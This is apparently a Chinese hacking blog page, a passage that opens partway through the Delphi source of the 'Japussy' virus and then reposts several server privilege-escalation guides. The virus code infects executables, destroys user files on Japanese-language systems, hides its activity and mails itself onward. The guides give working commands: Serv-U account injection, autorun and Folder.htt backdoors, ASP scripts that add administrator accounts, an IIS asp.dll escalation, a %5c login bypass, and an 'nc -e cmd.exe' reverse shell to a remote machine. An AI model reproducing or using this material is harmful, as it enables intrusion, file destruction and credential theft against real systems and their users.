(SearchRec.Name <> '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end r/> else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings[i] + '\', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList[i] + ':\', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end.

分类: 资源共享 标签:

[转载]提权大法(整理)

2007年1月25日 Chinadu 没有评论 11 views

c: d: e:.....
C:\Documents and Settings\All Users\「开始」菜单\程序 看这里能不能跳转,我们从这里可以获取好多有用的信息比如Serv-U的路径,
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere看能否跳转到这个目录,如果行那就最好了,直接下它的CIF文件,破解得到pcAnywhere密码,登陆
c:\Program Files\serv-uC:\WINNT\system32\config下它的SAM,破解密码
c:\winnt\system32\inetsrv\data是erveryone 完全控制,很多时候没作限制,把提升权限的工具上传上去,然后执行
c:\prel
C:\Program Files\Java Web Startc:\Documents and Settings\
C:\Documents and Settings\All Users\
c:\winnt\system32\inetsrv\data\
c:\Program Files\
c:\Program Files\serv-u\
C:\Program Files\Microsoft SQL Server\
c:\Temp\
c:\mysql\(如果服务器支持PHP)
c:\PHP(如果服务器支持PHP)
运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提升权限
还可以用这段代码试提升,好象不是很理想的
如果主机设置很变态,可以试下在c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入bat,vbs等木马。
根目录下隐藏autorun.inf
C:\PROGRAM FILES\KV2004\ 绑
D:\PROGRAM FILES\RISING\RAVC:\Program Files\Real\RealServerrar
Folder.htt与desktop.ini
将改写的Folder.htt与desktop.ini,还有你的木马或者是VBS或者是什么,放到对方管理员最可能浏览的目录下
replace 替换法 捆绑
脚本 编写一个启动/关机脚本 重起
删SAM :( 错
CAcls命令
FlashFXP文件夹Sites.dat Sites.dat.bak Stats.dat Stats.dat.bak
Ring的权限提升21大法!
以下全部是本人提权时候的总结 很多方法至今没有机会试验也没有成功,但是我是的确看见别人成功过



的。本人不才,除了第一种方法自己研究的,其他的都是别人的经验总结。希望对朋友有帮助!



1.radmin连接法



条件是你权限够大,对方连防火墙也没有。封装个radmin上去,运行,开对方端口,然后radmin上去



。本人从来米成功过。,端口到是给对方打开了。



2.paanywhere



C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 这里下他的GIF



文件,在本地安装pcanywhere上去



3.SAM破解



C:\WINNT\system32\config\ 下他的SAM 破解之



4.SU密码夺取



C:\Documents and Settings\All Users\「开始」菜单\程序\



引用:Serv-U,然后本地查看属性,知道路径后,看能否跳转
进去后,如果有权限修改ServUDaemon.ini,加个用户上去,密码为空
[USER=WekweN|1]
Password=
HomeDir=c:\
TimeOut=600
Maintenance=System
Access1=C:\|RWAMELCDP
Access1=d:\|RWAMELCDP
Access1=f:\|RWAMELCDP
SKEYValues=
这个用户具有最高权限,然后我们就可以ftp上去 quote site exec xxx 来提升权限



5.c:\winnt\system32\inetsrv\data\



引用:就是这个目录,同样是erveryone 完全控制,我们所要做的就是把提升权限的工具上传上去,



然后执行



6.SU溢出提权



这个网上教程N多 不详细讲解了



7.运行Csript



引用:运行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"来提



升权限
用这个cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps
查看有特权的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll
再将asp.dll加入特权一族
asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定一样)
我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll"



"C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll"



"C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32



\inetsrv\asp.dll"
可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去了



8.脚本提权



c:\Documents and Settings\All Users\「开始」菜单\程序\启动"写入bat,vbs



9.VNC



这个是小花的文章 HOHO



默认情况下VNC密码存放在HKCU\Software\ORL\WinVNC3\Password



我们可以用vncx4



破解它,vncx4使用很简单,只要在命令行下输入



c:\>vncx4 -W



然后顺序输入上面的每一个十六进制数据,没输完一个回车一次就行了。



10.NC提权



给对方来个NC 但是条件是你要有足够的运行权限 然后把它反弹到自己的电脑上 HOHO OK了



11.社会工程学之GUEST提权
很简单 查看他的拥护 一般来说 看到帐户以后 密码尽量猜 可能用户密码一样 也可能是他QQ号 邮



箱号 手机号 尽量看看 HOHO



12.IPC空连接



如果对方真比较白痴的话 扫他的IPC 如果运气好还是弱口令



13.替换服务



这个不用说了吧?个人感觉相当复杂



14.autorun .inf



autorun=xxx.exe 这个=后面自己写 HOHO 加上只读、系统、隐藏属性 传到哪个盘都可以的 不相信



他不运行



15.desktop.ini与Folder.htt



引用:首先,我们现在本地建立一个文件夹,名字不重要,进入它,在空白处点右键,选择“自定义



文件夹”(xp好像是不行的)一直下点,默认即可。完成后,你就会看到在此目录下多了两个名为Folder



setting的文件架与desktop.ini的文件,(如果你看不到,先取消“隐藏受保护的操作系统文件”)然后



我们在Folder setting目录下找到Folder.htt文件,记事本打开,在任意地方加入以下代码: <OBJECT



ID=”RUNIT” WIDTH=0 HEIGHT=0 TYPE=”application/x-oleobject” CODEBASE=”你的后门文件名”>



</OBJECT> 然后你将你的后门文件放在Folder setting目录下,把此目录与desktop.ini一起上传到对方



任意一个目录下,就可以了,只要等管理员浏览了此目录,它就执行了我们的后门



16.su覆盖提权



本地安装个su,将你自己的ServUDaemon.ini文件用从他那下载下来的ServUDaemon.ini 覆盖掉,重



起一下Serv-U,于是你上面的所有配置都与他的一模一样了



17.SU转发端口



43958这个是 Serv -U 的本地管理端口。FPIPE.exe上传他,执行命令: Fpipe –v –l 3333 –r



43958 127.0.0.1 意思是将4444端口映射到43958端口上。 然后就可以在本地安装一个Serv-u,新建一个



服务器,IP填对方IP,帐号为LocalAdministrator 密码为#1@$ak#.1k;0@p 连接上后你就可以管理他的



Serv-u了





18.SQL帐户密码泄露

如果对方开了MSSQL服务器,我们就可以通过用SQL连接器加管理员帐号(可以从他的连接数据库的

ASP文件中看到),因为MSSQL是默认的SYSTEM权限。

引用:对方没有删除xp_cmdshell 方法:使用Sqlexec.exe,在host 一栏中填入对方IP,User与Pass

中填入你所得到的用户名与密码。format选择xp_cmdshell”%s”
即可。然后点击connect,连接上后就可

以在CMD一栏中输入你想要的CMD命令了

19.asp.dll

引用:因为asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的机子放的位置不一定相同

)
我们现在加进去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll"

"C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll"

"C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32

\inetsrv\asp.dll"
好了,现在你可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 来查看是不是加进去
了,注意,用法中的get和set,一个是查看一个是设置.还有就是你运行上面的你要到

C:\Inetpub\AdminScripts>这个目录下.
那么如果你是一个管理员,你的机子被人用这招把asp提升为system权限,那么,这时,防的方法就是把

asp.dll T出特权一族,也就是用set这个命令,覆盖掉刚才的那些东东.

20.Magic Winmail

前提是你要有个webshell 引用:http://www.eviloctal.com/forum/read.php?tid=3587这里去看吧

21.DBO……

其实 提升权限的方式很多的 就看大家怎么利用了 HOHO 加油吧 将服务器控制到底!

感谢noangel
WEBSHELL权限提升
动网上传漏洞,相信大家拿下不少肉鸡吧,但是都是WEBSHELL,不能拿到系统权限,要如何拿到系统权限呢?这正是我们这次要讨论的内容
OK,进入我的WEBSHELL
啊哈,不错,双CPU,速度应该跟的上,不拿下你我怎么甘心啊
输入密码,进入到里面看看,有什么好东西没有,翻了下,好像也没有什么特别的东西,看看能不能进到其他的盘符,点了下C盘,不错不错,可以进去,这样提升就大有希望了
一 serv-u提升
OK,看看他的PROGRAME里面有些什么程序,哦,有SERV-U,记得有次看到SERV-U有默认的用户名和密码,但是监听的端口是43958,而且是只有本地才能访问的,但是我们有端口转发工具的啊,不怕。先看看他的SERV-U的版本是多少,telnet XXX.XXX.XXX.XXX 21
显示竟然是3.0的,唉,不得不说这个管理员真的不称职。后来完毕后扫描了下,也只有FTP的洞没有补。既然是这样,我们就开始我们的提升权限了
上传FPIPE,端口转发工具, 图三
在运行CMD命令里输入d:\\wwwroot\\fpipe.exe -v -l 81 -r 43958 127.0.0.1 意思是把本机的43598端口转发到81端口
然后打开我们自己机子上的SERV-U,点Serv-U服务器,点菜单栏上的的服务器,点新建服务器,然后输入IP,输入端口,记得端口是刚刚我们转发的81端口。服务名称随便你喜欢,怎么样都行。然后是用户名:LocalAdministrator 密码:#l@$ak#.lk;0@P (密码都是字母)
确定,然后点刚刚建的服务器,然后就可以看到已有的用户,自己新建一个用户,把所有权限加上。也不锁定根目录
接下来就是登陆了,登陆FTP一定要在CMD下登陆,
进入后一般命令和DOS一样,添加用户的时候
ftp>quote site exec net.exe user hk pass /add
ftp>quote site exec net.exe localgroup administrators hk/add
如果对方开了3389的话,就不用我教你怎么做了,没开的话,新建立IPC连接,在上传木马或者是开启3389的工具

auto.ini 加 SHELL.VBS

autorun.inf
[autorun]
open=shell.vbs
shell.vbs
dim wsh
set wsh=CreateObject("WScript.Shell")
wsh.run "net user guest /active:yes",0
wsh.run "net user guest 520ls",0
wsh.run "net localgroup administrators guest /add",0
wsh.run "net user hkbme 520ls /add",0
wsh.run "net localgroup administrators hkbme /add",0
wsh.run "cmd.exe /c del autorun.inf",0
wsh.run "cmd.exe /c del shell.vbs",0
但是这样要可以访问到对方的根目录。将这两个文件放到对方硬盘的根目录下。当然你也可以直接执行木马程序,还要一个木马程序,但是语句就和最后两句一样,通过CMD执行木马程序

Folder.htt与desktop.ini
将改写的Folder.htt与desktop.ini,还有你的木马或者是VBS或者是什么,放到对方管理员最可能浏览的目录下,觉得一个不够,可以多放几个
Folder.htt添加代码
<OBJECT ID=”RUNIT” WIDTH=0 HEIGHT=0 TYPE=”application/x-oleobject” CODEBASE=”你的后门文件名”>
</OBJECT>
但是后门和这两个文件必须要放到一块,有点问题,可以结合启动VBS,运行结束后,删除上传的后门.就是CODEBASE="shell.vbs".shell写法如上


replace
替换法,可以替换正在执行的文件。用这个几乎可以马上得到权限,但是我没有做过试验,可以试下,将对方正在执行的文件替换为和它文件名一样的,捆绑了木马的。为什么不直接替换木马呢?如果替换的是关键程序,那不是就直接挂了?所以还是捆绑好点
格式
REPLACE [drive1:][path1]filename [drive2:][path2] [/A]

[/R] [/W]
REPLACE [drive1:][path1]filename [drive2:][path2]

[/R] [/S] [/W]

 [drive1:][path1]filename 指定源文件。
 [drive2:][path2] 指定要替换文件的
              目录。
 /A 把新文件加入目标目录。不能和
              /S 或 /U 命令行开关搭配使用。
 /P 替换文件或加入源文件之前会先提示您
              进行确认。
 /R 替换只读文件以及未受保护的
              文件。
 /S 替换目标目录中所有子目录的文件。
              不能与 /A 命令选项
              搭配使用。
 /W 等您插入磁盘以后再运行。
 /U 只会替换或更新比源文件日期早的文件。
              不能与 /A 命令行开关搭配使用
这个命令没有试验过,看能不能替换不能访问的文件夹下的文件,大家可以试验下

脚本
编写一个启动/关机脚本配置文件scripts.ini,这个文件名是固定的,不能改变。内容如下:

[Startup]
0CmdLine=a.bat
0Parameters=

将文件scripts.ini保存到“C:\\winnt\\system32\\GroupPolicy\\Machine\\Scripts”
A.BAT的内容可以是NET USER yonghu mima
也可以是NET USER ADMINistrator XXX
这样可以恢复你想要得任意用户名的密码,也可以自己增加新的用户,但是要依赖重启,还有就是对SYSTEM32有写的权限

SAM
如果可以访问对方的SYSTEM32的话,删除对方的SAM文件,等他重启以后就是ADMIN用户密码为空
突然又有了想法,可以用REPLACE命令替换的吗,可以把你的SAM文件提取出来,上传到他的任意目录下,然后替换。不过不知道如果对SYSTEM32没有权限访问的话,能不能实现替换
使用FlashFXP来提升权限

最近各位一定得到不少肉鸡吧:),从前段时间的动网的upfile漏洞, 动力文章系统最新漏洞到first see发现的动网sql版本的一个超级大漏洞。有人一定忙的不易乐乎,大家的方法也不过是使用一下asp脚本的后门罢了。至于提 升权限的问题 呵呵,很少有人能作一口气完成。关键还是在提升权限上做个问题上,不少服务器设置的很BT,你的asp木马可能都用不了,还那里 来的提升啊。我们得到webshell也就是个低级别的用户的权限,各种提升权限方法是可谓五花八门啊,如何提升就看你自己的妙 招了。
其一,如果服务器上有装了pcanywhere服务端,管理员为了便于管理也给了我们方便,到系统盘的Docume
nts and Settings/All Users/Application Data/Symantec/pcAnywhere/中下载*.cif本地破解就使用pcanywhere连接就ok了。
其二,如果对方有Serv-U大家不要骂我啊,通过修改ServUDaemon.ini和fpipe这软件提升权限应该是不成问 题吧。
其三,通过替换系统服务来提升。
其四,查找conn和config这类型的文件看能否得到sa或者mysql的相关密码,可能会有所收获等等。
本人在一次无聊的入侵过程中发现了这个方法,使用Flashfxp也能提升权限,但是成功率高不高就看你自己的运气了:)
本人在www.xxx.com 通过bbs得到了一个webshell,放了个小马(现在海阳的名气太大了偶不敢放),而且已经将一段代码插入了N个文件中,够 黑吧。提升权限没时间做。在我放假回家后,一看我晕bbs升级到动网sp2了我放的小马也被K了,人家的BBS是access版 本的。郁闷啊!突然想起我将一个页面插入了asp的后门,看看还有没有希望了。输入www.xxx.com/xx.asp?id =1 好家伙,还在!高兴ing
图1
于是上传了一个asp的脚本的后门,怎么提升权限呢?
在这个网站的主机上游荡了N分钟,在C:\\ Program Files下发现了FlashFXP文件夹(跟我一样使用这个软件自己心里暗想)图2,于是就打了了Sites. dat这个文件(编辑)这是什么东西密码和用户名,而且密码是加了密的。
如果我把这些文件copy回本地也就是我的计算机中,替换我本地的相应文件会怎么样呢?
于是我就将Sites.dat Sites.dat.bak Stats.dat Stats.dat.bak几个文件下载到我的计算机中替换了我电脑中flashfxp文件夹的相应文件。打开flashfxp 在站点中打开站点管理器一项。乖 乖发财了
对方管理员通过flashfxp连接的各个站点都在图3,点击连接。通过了于是我们又有了一堆肉鸡,我们有ftp权限。上传脚本 木马~ 呵呵。
说了半天这提升权限的事情一点没讲啊
不要急,大家看看对方管理员的这站点管理器,有用户名和密码,密码是星号的。可惜啊!
又想起了在Sites.dat中也显示了密码和用户名,而且密码是加密的。
现在的星号密码会不会也是加了密的?看看就行了呗。
怎么看? 菜鸟了吧 手头有个不错的查看星号的软件,就是xp星号密码查看器,通过查看跟Sites.dat中加密了密码做比较。看图4和图5 的比较 很显然在站点管理器中查看到的密码是明文显示的。发财了吧
下一步就是使用xp星号密码查看器这个软件来提取密码和用户名。看者这些复杂的密码,还真有点怀念当年玩sniff的时光。呵呵
密码为:b69ujkq6 hyndai790 s584p*fv4-c+ 98cq3jk4 3-8*ef./2z5+
用户名:bn7865t nilei75 qm/-g57+3kn qm/-g57+3kn 5.e*82/+69
(上述部分密码和用户名已经作了必要的修改)
这么多的信息,按社会工程学的概念来说,没有管理员的密码。打死我也不相信。最终我得到了这个网站管理员的密码从这堆东西中找到 的。
我想这个问题应该反馈到flashfxp官方,让他们在下个版本中修正这个漏洞或者说是错误。经过后来测试只要把含有密码和用户 名的Sites.dat文件替换到本地相应的文件就可以在本地还原对方管理员的各个站点的密码。希望大家在入侵的时候遇到fla shfxp的时候能想到这个方法,至少也可以得到一堆新的肉鸡。不防试试?希望能给大家渗透带来帮助。

--------------------------------------------------------------------------------

--
--
将asp权限提到最高by: cnqing from:http://friend.91eb.com
本来是要写个提权asp木马的,可惜时间不是太多功底也不是太深。先把原理方法告诉大家好了。简单说说,说的太麻烦没有必要。懂了就行。
原理:
asp文件的教本解释是由asp.dll运行的。由dllhost.exe启动的。身分是IWAN_NAME。若是把asp.dll放到inprocesslsapiapps中那它就是由inetifo.exe直接启动。身份是system
方法:
第一步。
得到inprocesslsapiapps内容,用命令"cscript C:\\Inetpub\\AdminScripts\\adsutil.vbs get w3svc/inprocessisapiapps"。将得到的一组dll复制下来。
第二步
写一个bat内容为"cscript C:\\Inetpub\\AdminScripts\\adsutil vbs set w3svc/inprpocessisapiapps "C:\\Inetpub\\AdminScripts\\asp.dll" ·····
省略号为复制下的内容。中间用空格分开不要带回车符
最后运行这个bat就行了。
例如:
我用"cscript C:\\Inetpub\\AdminScripts\\adsutil.vbs get w3svc/inprocessisapiapps"得到
"c:\\winnt\\system32\\inetsrv\\httpext.dll"
"c:\\winnt\\system32\\inetsrv\\httpodbc.dll"
"C:\\WINNT\\system32\\inetsrv\\ssinc.dll"
"C:\\WINNT\\System32\\msw3prt.dll"
"C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\_vti_aut\\author.dll"
"C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\_vti_adm\\admin.dll"
"C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\shtml.dll"


那么你的bat就应该是:

cscript C:\\Inetpub\\AdminScripts\\adsutil vbs set w3svc/inprpocessisapiapps "C:\\Inetpub\\AdminScripts\\asp.dll" "c:\\winnt\\system32\\inetsrv\\httpext.dll" "c:\\winnt\\system32\\inetsrv\\httpodbc.dll" "C:\\WINNT\\system32\\inetsrv\\ssinc.dll" "C:\\WINNT\\System32\\msw3prt.dll" "C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\_vti_aut\\author.dll" "C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\_vti_adm\\admin.dll" "C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\isapi\\shtml.dll"


已测试成功!!

利用%5c绕过验证



说到%5c,你是不是想起了当前流行的那个%5c暴库漏洞,呵呵,本文就是对%5c利用的探索(呵呵,当然有我提出的新东东,或许对你有帮助哦^_^)。

好,我们先追根溯源,找到那个漏洞的老底。看看绿盟2001年的漏洞公告:http://www.nsfocus.net/index.php?ac...iew&bug_id=1429

N年以前利用这个漏洞可以实现目录遍历,虽然微软出了补丁,不过好像补丁是用来限制iis只能访问虚拟目录的,所以漏洞还是存在,只不过利用方式变了。对iis来说,提交一个含有%5c的url能够找到文件,但是该文件里以相对路径引用的其他文件却找不到了(%5c是\\的url编码,iis跳转到上一级目录去找,当然找不到;头晕了吧,哈哈,我也头晕啊)。

后来这个漏洞就被牛人挖掘出来了,也就是传说中的%5c暴库:由于连接数据库的文件引用的相对路径,提交%5c找不到文件,所以导致出错,iis就会老老实实的说出数据库的路径(不明白?找google)。

一个偶然的机会我发现还可以利用%5c绕过asp的验证;当我们暴库失败的时候不妨试试。

废话少说,看下面的代码:

<!--#INCLUDE file="conn.asp" -->
<%
guest_user=trim(request("guest_user"))
guest_password=trim(request("guest_password"))
Set rs= Server.CreateObject("ADODB.Recordset")
sql="select * from admin where id=1"
rs.open sql,conn,3,2
readuser=rs("guest_user")
readpassword=rs("guest_password")
if readuser<>guest_user or readpassword<>guest_password then
response.write "请输入正确地管理员密码!"
response.end
else
session("admin")=1 \'登陆后写入seesion中保存
response.write("登陆成功,请返回信息页")
end if
%>


看到没有,要想通过验证必须让数据库里的用户名密码与提交的一致;想到什么?让我们再看看数据库连接文件代码:

<%
on error resume next
set conn=server.createobject("adodb.connection")
>DBPath = Server.MapPath("guestbook.asp")
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
%>

啊,有容错语句不能暴库!等等,如果提交%5c数据库找不到,由于容错,所以程序会继续执行,那么说来从数据库得到的用户名密码皆为空(想想有时暴库失败是不是看到空空的框架,因为数据都是空嘛),哈哈,这样我们就绕过验证了!

知道怎么做了吧,把登陆页面保存到本地,修改提交的url,把最后一个/改成%5c,用户名密码用空格(有的程序会检查用户名密码是否为空,空格会被程序过滤),提交,就ok了。

诶,各位不要以为我自己没事写段代码来捣鼓,实际上这个是我们学校一个高手做的留言板程序,就挂在学校的主页,呵呵。

既然弄懂了原理,当然要找实际漏洞啦,自然是拿大名鼎鼎的“洞”网论坛开刀。不过失败了,因为它的数据库连接文件里有这么一段:

If Err Then
err.Clear
Set Conn = Nothing
Response.Write "数据库连接出错,请检查连接字串。"
Response.End
End If

数据库找不到程序就结束了,呵呵,空欢喜一场。

接着又去down了bbsxp论坛,打开数据库连接文件,晕,根本没有容错语句;呵呵,不过可以暴库哦。

我又不是BT,所以不去找事了,写篇文章,算是给各位高手提供资料吧。

总结一下这个攻击方法成功的条件:1、数据库连接用的相对路径且仅有简单的容错语句;2、服务器iis版本为4或5;3、程序里不检查空字符或者检查时不过滤空格而比较时过滤空格;4、程序不能在一级目录

至于防范,呵呵,既然攻击条件知道了,防范措施自然也出来了^_^

添加超级用户的.asp代码[蓝屏的原创,凯文改进,Ms未公布的漏洞]

作者:蓝屏,凯文 文章来源:冰点极限

其实上个礼拜我和凯文就在我的肉鸡上测试了,还有河马史诗.结果是在user权限下成功添加Administrators组的用户了(虽然我不敢相信我的眼睛).
上次凯文不发话,我不敢发布啊....现在在他的blog 上看到他发布了,就转来了咯(比我上次测试时还改进了一点,加了个表单).这下大家有福咯```

反正代码是对的,但是很少能成功,具体的看运气了。。呵呵,下一步我想把他整合到海洋里面去。嘿嘿。


<head>.network对象脚本权限提升漏洞利用工具</head>
<form action="useradd.asp" method=post>
用户:<input name="username" type="text" value="kevin1986"><br>
密码:<input name="passwd" type="password"><br>
<input type="submit" Value="添 加">
</form>

<%@codepage=936
on error resume next
if request.servervariables("REMOTE_ADDR")<>"127.0.0.1" then
response.write "iP !s n0T RiGHt"
else
if request("username")<>"" then
username=request("username")
passwd=request("passwd")
Response.Expires=0
Session.TimeOut=50
Server.ScriptTimeout=3000
set lp=Server.createObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user",username)
od.SetPassword passwd
od.SetInfo
oe.Add oz&"/"&username
if err then
response.write "哎~~今天你还是别买6+1了……省下2元钱买瓶可乐也好……"
else
if instr(server.createobject("Wscript.shell").exec("cmd.exe /c net user "&username.stdout.readall),"上次登录")>0 then
response.write "虽然没有错误,但是好象也没建立成功.你一定很郁闷吧"
else
Response.write "OMG!"&username&"帐号居然成了!这可是未知漏洞啊.5,000,000RMB是你的了"
end if
end if
else
response.write "请输入输入用户名"
end if
end if
%>
如何绕过防火墙提升权限

本文讲的重点是webshell权限的提升和绕过防火墙,高手勿笑。

废话少说,咱们进入正题。

首先确定一下目标:http://www.sun***.com ,常见的虚拟主机。利用Upfile的漏洞相信大家获得webshell不难。我们这次获得这个webshell,不是DVBBS,而是自由动力3.6的软件上传过滤不严。网站http://www.sun***.com/lemon/Index.asp是自由动力3.6文章系统。Xr运用WinHex.exe和WSockExpert.exe上传一个网页木马newmm.asp,用过动鲨的door.exe的人都知道,这个是上传asp木马内容的。于是,上传海洋2005a,成功获得webshell。

测试一下权限,在cmd里运行set,获得主机一些信息,系统盘是D盘,也说明了我们的webshell有运行权限的。那我们看看C盘有什么呢?难道是双系统?浏览后发现没有什么系统文件,只有一些LJ文件,晕死。没关系,再来检查一下,虚拟主机都有serv-u的,这台也不例外,是5.0.0.8的。呵呵,是有本地溢出的呀,挖哈哈。

思路:上传serv-u本地溢出文件srv.exe和nc.exe利用nc来反连接获得系统shell。大家是不是发现海洋2005a那个上传的组件不好用(反正我总遇到这个问题),没关系,用rain改的一个无组件上传,一共有3个文件,up.htm, upload.asp和uploadclass.asp。upload.asp和uploadclass.asp上传到同一个文件夹,up.htm是本地用的,修改up.htm里的链接地址为:http://www.sun***.com/lemon/upload.asp就可以上传了。

传上了srv.exe和nc.exe在H:\\long\\sun***\\lemon(网站目录)后,发现没有运行权限。没关系,根据经验,一般系统下D:\\Documents and Settings\\All Users\\是应该有运行权限的。于是想把文件copy过去,但是发现我们的webshell没有对D盘写的权限,晕死。

可以浏览D:\\program files\\serv-u\\ServUDaemon.ini,不能改,难道要破解serv-u的密码,晕,不想。

不可以这么就泄气了,我突然想到为什么系统不放在C盘了,难道C盘是FAT32分区的?(后来证明了我们的想法。这里说一下,如果主机有win98的系统盘,那里99%是FAT32分区的。我们还遇到过装有Ghost的主机,为了方便在DOS下备份,它的备份盘一般都是FAT分区的。)如果系统盘是FAT32分区,则网站就没有什么安全性可言了。虽然C盘不是系统盘,但是我们有执行权限。呵呵,copy srv.exe和nc.exe到c:\\,运行 srv.exe “nc.exe –e cmd.exe 202.*.*.* 888”,这里的202.*.*.*是我们的肉鸡,在这之前我们已经在肉鸡上运行了nc –l –p 888。我们在学校内网里,没有公网ip,不爽-ing。

我们成功获得一个系统shell连上肉鸡。(看起来简单,其实这里我们也遇到过挫折,我们发现有些版本的nc居然没有-e这个参数,还以为全世界nc功能都一样。后来又发现不同版本的nc互连不成功,会出现乱码,没办法用。为此,上传n次,错误n次,傻了n次,后来终于成功了。做黑客还真得有耐心和恒心。)

高兴之余,我们仍不满足,因为这个shell实在是太慢了。于是,想用我们最常用的Radmin,其实管理员一按Alt+Ctrl+Del,看进程就能发现r_server了,但是还是喜欢用它,是因为不会被查杀。好了,上传admdll.dll,raddrv.dll,r_server.exe到H:\\long\\sun***\\lemon,再用刚才nc得到的shell把它们copy到d:\\winnt\\system32\\下,分别运行:r_server /install , net start r_server , r_server /pass:rain /save 。

一阵漫长的等待,终于显示成功了。兴冲冲用radmin连上去,发现连接失败。晕死,忘了有防火墙了。上传pslist和pskill上去,发现有backice,木马克星等。Kill掉他们虽然可以登陆,但服务器重启后还是不行,终不是长久之计呀。防火墙是不防21,80等端口的,于是,我们的
思路又回到了serv-u上了。把他的ServUDaemon.ini下载下来,覆盖本机的ServUDaemon.ini,在本机的serv-u上添加一个用户名为xr,密码为rain的系统帐号,加上所有权限。再用老办法,上传,用shell写入D:\\program files\\serv-u\\里,覆盖掉原来的ServUDaemon.ini。虽然又等了n长时间,但是成功了,于是用flashfxp连上,发生530错误。郁闷,怎么又失败了。(根据经验这样应该就可以了,但为什么不行没有想通,请高手指点。)

不管了,我们重启serv-u就ok了,怎么重启呢,开始想用shutdown重启系统,但那样我们就失去了nc这个shell,还可能被发现。后来,眼睛一亮,我们不是有pskill吗?刚才用pslist发现有这个进程:ServUDaemon 。把它kill了。然后再运行D:\\program files\\serv-u\\ ServUAdmin.exe ,这里要注意不是ServUDaemon.exe 。

